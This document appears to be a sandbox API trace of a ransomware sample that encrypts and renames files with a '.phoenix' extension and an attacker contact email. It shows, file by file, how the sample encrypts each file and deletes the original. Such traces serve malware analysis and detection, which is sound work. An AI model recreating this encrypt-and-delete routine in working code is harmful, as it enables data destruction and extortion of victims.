	[0229.381] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.397] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151280) returned 1
	[0229.397] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0229.397] ReadFile (in: hFile=0x2d8, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x930d0, lpOverlapped=0x0) returned 1
	[0229.413] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x930e0, dwBufLen=0x930e0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x930e0) returned 1
	[0229.414] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x930e0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x930e0, lpOverlapped=0x0) returned 1
	[0229.430] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1510c0) returned 1
	[0229.430] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0229.430] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0229.430] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0229.430] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0229.430] CryptDestroyKey (hKey=0x151280) returned 1
	[0229.430] CloseHandle (hObject=0x2d8) returned 1
	[0229.430] CloseHandle (hObject=0x2e4) returned 1
	[0229.693] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat")) returned 1
	[0229.710] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.710] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0229.711] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=415) returned 1
	[0229.711] CloseHandle (hObject=0x2c0) returned 1
	[0229.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png")) returned 0x20
	[0229.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.711] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0229.711] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0229.711] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0229.712] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.712] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151400) returned 1
	[0229.712] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0229.712] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x19f, lpOverlapped=0x0) returned 1
	[0229.713] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1a0, dwBufLen=0x1a0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1a0) returned 1
	[0229.713] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1a0, lpOverlapped=0x0) returned 1
	[0229.714] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151640) returned 1
	[0229.714] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0229.714] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0229.714] CryptDestroyKey (hKey=0x151640) returned 1
	[0229.714] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0229.714] CryptDestroyKey (hKey=0x151400) returned 1
	[0229.714] CloseHandle (hObject=0x2c0) returned 1
	[0229.714] CloseHandle (hObject=0x2e4) returned 1
	[0229.715] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png")) returned 1
	[0229.716] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.716] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.716] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=433) returned 1
	[0229.716] CloseHandle (hObject=0x2e4) returned 1
	[0229.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png")) returned 0x20
	[0229.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.717] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.717] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0229.717] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0229.717] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0229.717] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151680) returned 1
	[0229.717] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0229.718] ReadFile (in: hFile=0x2e4, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x1b1, lpOverlapped=0x0) returned 1
	[0229.719] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1c0, dwBufLen=0x1c0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x1c0) returned 1
	[0229.719] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x1c0, lpOverlapped=0x0) returned 1
	[0229.719] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151180) returned 1
	[0229.719] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0229.719] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0229.720] CryptDestroyKey (hKey=0x151180) returned 1
	[0229.720] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0229.755] CryptDestroyKey (hKey=0x151680) returned 1
	[0229.755] CloseHandle (hObject=0x2e4) returned 1
	[0229.755] CloseHandle (hObject=0x2c0) returned 1
	[0229.755] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png")) returned 1
	[0229.756] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.756] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0229.756] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=602168) returned 1
	[0229.756] CloseHandle (hObject=0x2c0) returned 1
	[0229.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp")) returned 0x20
	[0229.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.757] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0229.757] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0229.757] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0229.757] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.757] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1510c0) returned 1
	[0229.757] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0229.757] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x93038, lpOverlapped=0x0) returned 1
	[0229.833] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x93040, dwBufLen=0x93040 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x93040) returned 1
	[0229.834] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x93040, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x93040, lpOverlapped=0x0) returned 1
	[0229.843] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0229.843] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0229.843] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0229.843] CryptDestroyKey (hKey=0x151380) returned 1
	[0229.843] WriteFile (in: hFile=0x2e4, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0229.843] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0229.843] CloseHandle (hObject=0x2c0) returned 1
	[0229.843] CloseHandle (hObject=0x2e4) returned 1
	[0229.843] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp")) returned 1
	[0229.848] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.849] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.849] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=820) returned 1
	[0229.849] CloseHandle (hObject=0x2e4) returned 1
	[0229.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_neutral_split.scale-150_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.851] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.851] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=31683) returned 1
	[0229.851] CloseHandle (hObject=0x2e4) returned 1
	[0229.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.851] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.852] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=7646) returned 1
	[0229.852] CloseHandle (hObject=0x2e4) returned 1
	[0229.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml")) returned 0x20
	[0229.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.852] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_neutral_~_8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.852] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.852] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.852] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=10775) returned 1
	[0229.852] CloseHandle (hObject=0x2e4) returned 1
	[0229.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.852] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.Microsoft3DViewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoft3dviewer_1.1702.21039.0_x64__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.853] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0229.853] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0229.853] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=21110) returned 1
	[0229.853] CloseHandle (hObject=0x2e4) returned 1
	[0229.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml")) returned 0x20
	[0229.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0229.853] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Microsoft.MicrosoftEdge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\microsoft.microsoftedge_40.15063.0.0_neutral__8wekyb3d8bbwe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0229.853] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
